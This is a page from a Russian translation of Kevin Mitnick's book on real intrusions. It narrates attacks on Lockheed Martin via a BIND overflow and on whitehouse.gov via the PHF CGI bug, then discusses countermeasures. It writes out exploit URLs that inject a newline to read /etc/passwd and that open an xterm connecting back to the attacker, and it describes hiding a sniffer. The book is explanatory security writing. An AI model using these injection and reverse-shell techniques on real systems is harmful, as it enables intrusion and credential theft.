Искусство вторжения - Митник Кевин. Страница 14

Он быстро определил, что в компании Lockheed Martin используется собственный сервер доменных имен (DNS — Domain Name Server). DNS — это Интернет-протокол, который, например, транслирует имя сайта www.disney.com в 198.187.189.55 — адрес, который может использоваться для маршрутизации пакетов. neOh знал, что группа исследования безопасности в Польше опубликовала то, что хакеры называют «exploit» (подвигом или достижением) — программу, специально созданную для атаки одного конкретного уязвимого места в версии DNS, которую использовала компания Lockheed.

Компания использовала разновидность DNS-протокола под названием BIND (Berkeley Internet Name Domain). Польская группа обнаружила. что одна из версий BIND уязвима перед определенным типом атак (переполнение удаленного буфера) и именно эта версия используется в Lockheed Martin. Следуя инструкциям статьи, neOh смог получить привилегии администратора на обоих серверах компании Lockheed.

После получения этих привилегий neOh организовал перехват паролей и электронной почты при помощи программы «вынюхивания», которая действует, как своеобразное подглядывающее компьютерное устройство. Любой посланный трафик эта программа перехватывает; обычно хакер пересылает перехваченную информацию туда, где ее невозможно найти. Чтобы спрятать координаты «нюхача», рассказывает neOh, он создал директорию без имени, тo есть «var/adm/…». При проверке системный администратор вполне мог и пропустить такую незаметную ссылку.

Подобная техника маскировки программ «вынюхивания» очень эффективна и совсем проста; для сокрытия следов хакерского вмешательства есть много более сложных методов.

Не успев найти пути проникновения в сеть Lockheed Martin для получения секретной информации компании, neOh переключился на другую задачу, поэтому секретные файлы остались нетронутыми,

При проникновении на сайт Белого Дома, как рассказывает Zyklon, он вначале запустил программу под названием CGI-сканер. которая сканирует систему на предмет поиска CGI-лазеек. Он обнаружил, что Интернет-сайт уязвим перед атаками, использующими «PHF-дырку», действие которой основано на программной ошибке, сделанной разработчиками в тексте PHF (телефонной книги).

PHF — это своеобразный интерфейс, который устанавливает соответствие между именем на входе и отыскивает соответствие ему на сервере. Программа вызывает функцию escapeshellcmd(), которая должна проверять входные данные на наличие в них специальных знаков. Но программисты исключили из этого списка знаков знак перехода на новую строку. Именно это и может использовать умелый хакер, включив во входную информацию этот знак (ОхОа) в расшифрованном виде. Посыл строки с этим знаком превращает текст в команду для исполнения, написанную хакером.

Zyklon напечатал в своем браузере такой адрес:

http://www.whitehouse.gov/cgi- bin/phf?Qalias=x%0a/bin/cat%20/etc/passwd

После этого он смог получить доступ к файлу паролей для white-house.gov. Но он стремился получить полный контроль над сервером Белого Дома. Он знал, что скорее всего порты Х-сервера будут защищены специальным экраном, который помешает ему соединиться с любым из сервисов на whitehouse.gov. Вместо этого он опять использовал «PHF-дырку». напечатав: http://www.whitehouse.gov/cgi- bin/phf?Qalias=x%Oaa/usr/X11R6/bin/xterm%20-ut%20-display%20zyklons.ip.adress:0.0

Это привело к посылке xterm с сервера Белого Дома на его компьютер, работающий на сервере X. Таким образом, вместо того, чтобы соединяться с whitehouse.gov, он дал команду системе Белого Дома соединиться с ним. (Это возможно только в том случае, когда защитный экран допускает исходящие соединения — именно такой случай и был реализован в данной ситуации).

Затем он использовал уязвимость перегрузки буфера в системной программе ufsrestore. По словам Zyklon, это позволило ему получить доступ к корневой директории whitehouse.gov, так же как и доступ к почтовому серверу Белого Дома и другим системам сети.

КОНТРМЕРЫ

Описанные здесь «подвиги» neOh и Comrade поднимают две серьезные проблемы.

Первая достаточно проста и хорошо известна: используйте только последние релизы операционных систем и приложений в вашем ПО. Это очень важно, поскольку в них устранены все найденные прорехи в системе безопасности. Причем это не должно делаться случайным образом. Все компании должны разработать специальные программы оповещения ИТ-персонала о том, что появилась очередная заплатка для той или иной программы, имеющейся в их арсенале.

Как только эта заплатка становится готовой к использованию, она должна быть установлена как можно быстрее, пока из-за нее не нарушилась работа ПО компании. Легко представить себе перегруженность ИТ-сотрудников, которые заняты повседневной работой (подключение компьютеров новых пользователей — это лишь одна из таких рутинных задач), и установка подобных заплат для них — лишняя головная боль. Надо убедить их, что пропуск хотя бы одной заплатки создает очень высокий риск для всей организации.

Хакеры смогли проникнуть в огромное число систем лишь потому, что в них своевременно не были установлены заплатки. После того, как та или иная лазейка становится известной, риск проникновения во все компьютеры резко нарастает до тех пор пока производители ПО не создадут устраняющую её заплатку и не распространят ее среди пользователей.

Любая организация должна сделать установку подобных заплаток одной из приоритетных задач ИТ-службы. разработав при этом методику максимально быстрого получения информации о заплатках и установки их с минимальными помехами основному процессу ведения бизнеса.

Но даже такое тщательное отслеживание всех появляющихся лазеек и заплаток недостаточно, как подчеркивает neOh, поскольку некоторые взломы, в которых он участвовал, происходили буквально в «час икс», когда обнаруживалась лазейка — она еще не была известна никому, кроме нескольких экспертов-хакеров. Производители ПО и эксперты в области безопасности физически не успевали создать защиту от нее.

Поскольку всегда остается вероятность, что в вашу систему проникнут именно в «час икс», каждая компания уязвима все то время, пока не появится заплатка к новой лазейке. Как же снизить риск?

На мой взгляд, единственное эффективное решение — использовать модель «глубокой защиты». Мы должны исходить из того, что наша компьютерная система в какой-то момент времени будет подвержена атаке в «час икс». Поэтому мы должны создать такое окружение, которое смогло бы минимизировать возможный вред от проникновения плохих парней в нашу систему. Один из примеров, как уже говорилось, это поместить такую компьютерную систему в « D M Z » , то есть — за межсетевой экран. Термин «DMZ» — демилитаризованная зона — взят из обихода военных и политиков, в данном случае он означает, что компьютеры общего доступа (Интернет-сервера, почтовые сервера, DNS-сервера и т.п.) изолированы от корпоративной сети и мест хранения секретной информации. Такая организация компьютерной сети компании — это один из примеров «глубокой защиты».

Даже если хакер обнаружит ранее неизвестную никому лазейку на Интернет-сервере или почтовом сервере и использует ее, он не сможет дотянуться до корпоративной информации благодаря наличию следующего уровня защиты.

Следующая эффективная контрмера против хакеров — это контроль сети или даже отдельных ее компьютеров на необычную или подозрительную активность в ней. Атакующий обычно предпринимает определенный набор действий для того, чтобы проникнуть в систему, таких, как попытки получить зашифрованные или обычные пароли, установка «черного хода», изменение файлов конфигурации для ослабления безопасности, модификация системы, приложений или log-файлов и др.

Если организовать постоянно действующий процесс, который отслеживал бы типичные для хакеров виды активности и подавал персоналу сигнал тревоги при их обнаружении, то можно было фиксировать попытки вторжения в систему.